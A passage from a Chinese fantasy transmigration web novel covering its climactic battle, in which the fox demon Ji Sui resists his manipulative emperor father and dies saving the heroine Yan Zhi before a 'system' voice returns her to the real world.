“你会怪我吗?”龙轻雨忐忑,不敢看向陆承泽,她知道这个捉妖师心地纯善,为了大义愿意牺牲一切。内丹的事本想找个时机告诉他的,可惜太迟了。那点见不得光的心思被发现。她不敢想陆承泽看自己的眼神,是会后悔他们不是一路人吗?
明明只是几秒对她来说却如此漫长,龙轻雨闭眼不再等待,投入作战。罢了,今日她牺牲已成定局,当年救命之恩已报,就此别过也算。
“如果是我一人赴死,我当然愿意,可如果换作是我,我也会犹豫。”
“今日,我们同生共死。”一双温热的手坚定握住龙轻雨的,她抬眼,看到俊俏男子的眼神,和之前多次对抗黑气时一样坚定。陆承泽抬头看向黑云滚滚的天色,黑气如大军压境,不少人被黑气附体,发出撕心裂肺的惨叫,朗声道:“事不宜迟,龙姑娘,你专心对付黑气,我为你解决其它。”话音刚落,他就利落转身,跳下高台。
听到他的回话,龙轻雨不再踌躇,她化作龙身,一举飞入云中,吐出金光闪闪的珠子,一时间,耀眼光芒之下,黑气如同见不得光的阴影,有所避让,天空恢复大半黄昏色。
颜芷这边,因为一副血污淋漓的弱女子模样,反倒没有被那些士兵放在眼里。她找准时机,顺势滚到一边,抄起一块碎石将箭头用尽全身力气拍在地上,一个士兵正举着长枪向她刺来,被陆承泽一剑挑开。陆承泽递给颜芷一瓶疗伤丹药,又交给了她几张符纸吩咐她快跑。
饮下一瓶丹药,总算恢复些体力,她着急去找纪绥。他正在和一群缉妖司暗卫交战,按之前招式狠辣的做法,可以瞬间杀人于无形,以一敌百,可现在留了后手,暗卫受训多年,团体作战精密,想保全他们性命,总受制箍。颜芷扔了几张爆破符助纪绥脱困,果然转移了几名暗卫的注意力,一个暗卫悄然从背后现身瞬间勒住她的脖颈。
纪绥见状,想抬手去拦,被从天而降的一张大网兜头盖住,巨网由无数根小指般粗细的金线交结而成,上面隐隐流动着绿色暗纹,纪绥每挪动一分,暗色咒纹的流动就加快一分,密密麻麻的暗纹不断施加在网上,重若巨山倾轧,上百道暗纹亮起的那一瞬间,无数条绿色电流淌过,电得他头皮发麻,压得他不得动弹。
“你看看你现在,像什么样子?”不知何时,宸明帝已来到纪绥身侧,看着这个眉宇肖似他的儿子,满心恨铁不成钢。他瞥了眼一旁挣扎的颜芷,确认了她就是这逆子反抗他的原因,将他手边的翠绿玉刃一脚踢开,悠悠道:“你竟然为了一个命如草芥的普通人把这一切视作儿戏,难道不明白降服黑气才是最重要的吗?还要为父一遍又一遍地教你?”
“等你夺得龙珠,你无所不能,有无数金银珠宝、良田美人供你挑选,何必执着一个弱不禁风的普通人?”
纪绥跪伏在地上,看着这个自称父亲却从未尽过养育之恩的至亲,自从知道他的身世,这个人从始至终都想的是怎么驯服他,从来没有考虑过他的感受,只想把他的妖力压榨个干净。
从小到大,多少见过他能力的人,想要给他的脖颈套上枷锁,为己所用。
有一人不管不顾,一次又一次为他解开枷锁。虽然并不是出于喜欢他,而是她本身的意志。
这个人,她想活,还想让更多人活。
她还让他看到了活着的更多可能性。
所以
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,他也想让她的愿望达成。
*
“如果是为了扫除黑气,更应该让龙珠回归龙女本身。”纪绥看了眼再度覆盖到头顶天空的黑气。现在夜色渐浓,月亮高悬,黑气四处流窜,进入聚集的人群中如同享用饕餮盛宴,不少被附体的人类发出撕心裂肺的惨叫。不想让燥郁的黑气主导思维,他努力调息保持清醒,嗤笑道:“别把你的目的说那么崇高。从头到尾,你只是想得到龙珠来满足私欲!”
被说中心思,宸明帝面色一变,刚想发怒,恍然瞥见被黑气覆盖大半的月亮,隐隐透出些血色,语气又缓和下来,循循善诱:“绥儿,朕只是想找到你娘,听说那龙珠可以拨云见雾,千里寻踪。你也很想见到你娘吧?为什么不趁这个机会,问问当初她为何要抛弃你?”
听了这话,纪绥的妖尾果然有所反应,白色尾巴一寸一寸延长,犹如一把巨大的羽扇在空中飘摇,七条尾巴黑气浓郁似墨色,只有一条白色尾巴还在苦苦挣扎,对周身靠近的黑气左闪右躲。
“乖孩子,快吸收黑气,把龙珠夺过来。”皇帝看着不远处的金龙,语气沉沉,“想想你逃跑的娘亲,还有你那个将死的心爱之人。如果你成为九尾魔狐,拿到龙珠后,这一切都予取予求,还有什么是不能做的?”这时,宸明帝发现身上被法宝压制已久的黑气再度冒出,心生一计,将黑气溢满的手掌放在纪绥肩上。
“把那个女人带过来,让她看看自己会怎么死。”看纪绥没有反应,他吩咐掐住颜芷脖子的暗卫。
听到这话,被黑气加倍入侵,目光混沌的男子眼中有了几分熹微亮色。看到这个方法有成效,宸明帝信心大增,继续诱哄道:“不想她死?那就按我说的做。”他又在纪绥耳边低语了几句。
“到现在为止,你的愿望没一个能实现的,难道就甘心做个苟且偷生的废物吗?”
“不要,纪绥,不要听他的。”眼看着这场景越来越接近噩梦中发生的一切,颜芷有些慌乱,刚才已经断断续续理清了来龙去脉,这皇帝是纪绥生父,又诱哄纪绥去夺龙珠,龙珠是克制黑气的法宝。让浑身黑气的狐妖去夺龙珠,简直是在大张旗鼓送他去死。如果真的按照这皇帝说的做,变成九尾魔狐,就会变成毫无理智的杀人疯子。何况,她见过他饱受黑气折磨的样子,那一定很痛苦。
“要不要可不由你说了算,绥儿,选一个。”看那远处闪闪发光的珠子,宸明帝势在必得。他示意暗卫在颜芷心口补上一刀,将她甩在地上。地上的女人胸口涌出大片鲜血,黑气越来越多,纪绥的瞳孔逐渐变得血红,停下了在网中挣扎的动作,点了点头。
宸明帝见状,满意地吩咐手下松开网状禁制,看纪绥神志全无地走出来,“这才像我的儿子。”他话音刚落,就被纪绥的威压掀起又摔在地上。随之浓重黑气压得天子喘不过气来,如同游鱼离开水面。
“纪绥,不要,不要去。”颜芷左手按住汩汩流动的伤口,拉住纪绥的衣角。
他不能去。不仅会阻止让收服黑气这一计划功亏一篑,最重要的是,他会死的。
听到她的声音,被黑气蒙蔽的九尾狐似乎有所反应,缓缓在他面前蹲下身,“可我不去,找不到娘......”说到这里,他有些愣神,又缓缓开口,“也救不了你......”
32. 绥绥白狐
“绥绥白狐,九尾庞庞。成于家室,我都攸昌。”他下意识重复宸明帝在耳边说的那首诗,“我生来就是平定黑气的,这是我唯一的价值。”
“你娘可能是因为某些苦衷离开你的。我还听过一首诗,有狐绥绥,在彼淇梁。心之忧矣,之子无裳......”她想起诗经的一首诗,强撑着力气说着,“你娘给你取这个名字,一定是挂念着你能不能吃饱穿暖,她一定很爱你。”那一刻,颜芷终于明白了福利院院长妈妈当初为什么要对她说谎。有时生死就在一念之间。
“而且,谁说没有人希望你活下去,至少我希望你。”她强撑着坐起身,用没有血迹的右手轻轻抚上纪绥的脸庞,“我希望你平平安安地活下去,不要变成一个没有理智的杀戮怪物。我不要你为我牺牲。”
“黑气会解决的。”颜芷看到纪绥的情绪逐渐稳定下来,抬头看了下龙女那边,希望此番能净化黑气,能拖延住时间。
哪怕用她死的代价。
*
龙轻雨那边,层层包围过来的黑气将努力运转龙珠的她拽入一个泥沼遍地的黑潭。她睁眼,不受控制地看到龙族先辈浑身鲜血淋漓的样貌和死尸遍地的人间惨叫,一幕又一幕在她眼前接连上演。放弃吧,你赢不了的,接连不断的黑气狞笑着扑上来,她本心不稳,吐出一口黑血,又再次运气勉力支撑。
看到龙女失守的样子,颜芷焦急万分的同时不免有些挫败。黑气、黑气!难道她看的这本小说注定是个烂尾结局?命定主角无论如何也战胜不了黑气?最终只能是死局吗?别着急,一定会有办法,不可能无解,她强迫自己冷静下来,想到一路经历过来的黑气祸端。贪婪、嫉妒、痴念,这些都是负面情绪的结合体,出自妖怪身上,被黑气附着都会造成人亡妖灭的惨剧,都该死,都该消失。
不对,可蜘蛛精挽香就没被黑气吞噬,那是什么原因?嫉妒生恨,而且那工部侍郎身上也有些微黑气,他嫉妒自己的妻子。嫉妒会伤人,也会救人。
可宸明帝是人,但他身上也有浓郁化不开的黑气。
她想到了,想到解决办法了!
“龙轻雨,要承认它,转化它,不要被它引导!”颜芷朝着龙轻雨喊道。
黑雾中的金龙似有所悟。大片黑气开始飞速流转,渐渐消失,清朗月色再度洒向人间。一场淅淅沥沥的小雨从天而降,被黑气沾染的人群渐渐恢复神志......
眼看就要功亏一篑,宸明帝挣脱束缚,焦急:“你难道真的就此轻易放弃了?别忘了,你眼前这个女人真的会死。”他见纪绥没有动作,忍不住拿起碧绿刀刃刺向他后背,被颜芷推开。颜芷抱着纪绥滚到一边,却被他面无表情地推开。
“抱歉,我还是要去夺龙珠。”他作势要起身,被颜芷抓住。
颜芷看见他迷失神志的样子,心知此刻无论如何都要拖住他。她拿起翠玉刀刃威胁道,“你不可能走出这步,除非......”
噗呲,是刀刃入肉的声音。
颜芷难以置信地看着面前一切,大脑几乎停止思考。怎么会?她只是想拦住他,不是要杀他。
而且,他没有伤到心口,怎么会死?
年轻男子的小腹被刀刃穿过,身后招摇的尾巴就像失去生机的藤蔓,募地垂下来。他却释怀地眯眼笑起来,是她熟悉的最毫无防备的笑,“恭喜你,终于完成任务了。”
一旁的宸明帝看到这一场景,心神一震。这场景似曾相识,好像他当年射中白玖那一箭之后,她的尾巴也垂落下来过。难道?
“你,要死了吗?”颜芷颤着声音开口,扶起受伤的纪绥。明明是刚开始梦寐以求都想完成的任务,此刻却格外艰难。每吐出一个字,肺部的空气就像被抽离一部分,呼吸不上来。
“我听过一个说法,九尾狐只能被所爱之人杀死。”他像是完成了什么了不得的任务,终于卸下力气,脸色变得苍白,唇边却溢出浅笑。雨水铺天盖地砸落,将地上的大片血迹晕染开来。
*
细雨飘扬,一如当年那场山雨,宸明帝不受控制地回想起当时场景,他策马狂追前方目标,心脏怦怦直跳。像失去知觉般不停地挥着马鞭,他满脑只有一个想法。再快些,再快一些。有一种莫名的直觉提醒他,如果这次再追不上,可能以后就没机会了。
于是情急之下射出一箭,堪堪射中她的肩膀,上面涂抹了大量麻药,会让她停下离开的脚步的。可被他紧追不舍的娇媚女子回头,眼中情绪复杂,他第一次看不懂她的表情。
“白玖,过来。你想要什么我都会按你说的做。”他下马上前,难得放低姿态,对着对岸山谷边的女子,使出十二分的耐心,柔声劝慰道。只要白玖这次能够回来,过往一切可以既往不咎。
那女子只是回头深深看了他一眼,决绝地再次离开。
他只是想拦住她,明明说好要相守终生,为什么要自行违背这个誓言?
而且明明是她先向他迈出这一步的,为什么要抛弃他?她不能也不应该。难道狐族都是这般始乱终弃吗?果然非我族类,其心必异。和妖怪共处没有好下场。故此,他定下人妖势不两立的规矩。
但事实竟是这样?
宸明帝放下长剑,在雨中癫狂大笑,这么多年来,他相信过她有不能现身的难处,怀疑过她移情别恋,责怪过她自私残忍,唯独没有想过这个可能性。原来如此,竟是如此,多年的辗转难眠终是一场空梦。
*
不可能,怎么会?他怎么可能这么容易就死?颜芷手足无措地撕下身上布条给伤口处包扎,想止住灵力流逝,却不起任何作用。感受到宿主即将消亡,纪绥身上的大片黑气争先恐后地往外狂奔,被从天而降的雨水净化。
随着生命力的
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流逝,先前被黑气污染的尾巴渐渐恢复一尘不染的白,他的头发也变成银色,被皎月浸透,纪绥艰难开口,掌心贴在颜芷心口,将纯白的被净化的灵力缓慢渗进去,“我给你一颗完好无损、健健康康的心脏。”他之前也割尾尝试过,还是救不了她的命。果然,只有这个办法才行得通。没了黑气,这些灵力不会威胁她,会变成润泽她的灵泉。
“你一定要好好地活下去,活到长命百岁、白发苍苍。”
“为什么要对我这么好?”颜芷开口,嗓音颤抖,带着一丝不易察觉的哭腔。
她凭什么值得他做到这种地步?在现实世界,她只是一个努力求生的普通人,来了这个异世界也在拼命求生,为什么这个人要,一而再,再而三地救她?
“可能我欠虐吧。明知道你不喜欢我,还上赶着来找你。”嗅到死亡的气息,他反而卸下一切重担,靠在颜芷怀里,无所谓地笑,“反正这次,你也是为了拯救龙轻雨她们来的吧?”
“不,我喜欢你。”颜芷张口否认,她口不择言想说出穿越动机,“我本就是为你而来的.....”
此时的天空已恢复墨蓝色,月亮褪去血色,柔和而明亮的月光洒向人间。
“可惜,你的未来我无法参与。”纪绥咳出一口血,缓缓道,“对不起。让你卷入这个争端,我是把你拖入这里的罪魁祸首,你应该恨我的。”他是她穿书灾难的源头,是把她拉入纷乱世界的元凶。这样卑劣的自己怎么能奢望得到她纯粹的爱意。
“不。其实我很感谢你,你让我明白很多很多......”颜芷口不择言道,“也欠你很多......”实话说,她是一个情感淡漠的人,第一次遇见这般汹涌的爱意。这次经历也让她学会面对从未坦诚过的内心和过去。她想多说些话挽留纪绥,使劲抱住怀中人想给他过渡体温,却发觉他的身体渐渐冰冷。
“那你还欠我一个吻。”纪绥挣扎着开口,勾起嘴角。
“都这种时候了,还说这种话。”知道他故作调侃,颜芷再也忍不住落泪,大颗大颗的泪珠从脸颊边滚落,滴落到男人嘴边。
“你终于也舍得为我落一次泪。”他勾起嘴角,手却不由自主地抬起想擦去眼前人的眼泪。“不过我可没这么善良,我诅咒你,回去后一定要记住我,不管是快乐和痛苦,都要想起我。”
“系统任务已完成,恭喜任务者成功杀掉疯批反派九尾狐。返回现实世界程序已启动。”冰冷无情的机械音再次传来。
“回归计时倒数中......
“3”颜芷看到疯疯癫癫的宸明帝奔跑在雨中,嘴里还念叨着什么......
“2”她看到化作人形的龙轻雨和陆承泽向着她们奔来......
“1”在计时音最后落下的瞬间,她仿佛听到一句无可奈何的低语,“算了,让她忘掉我......”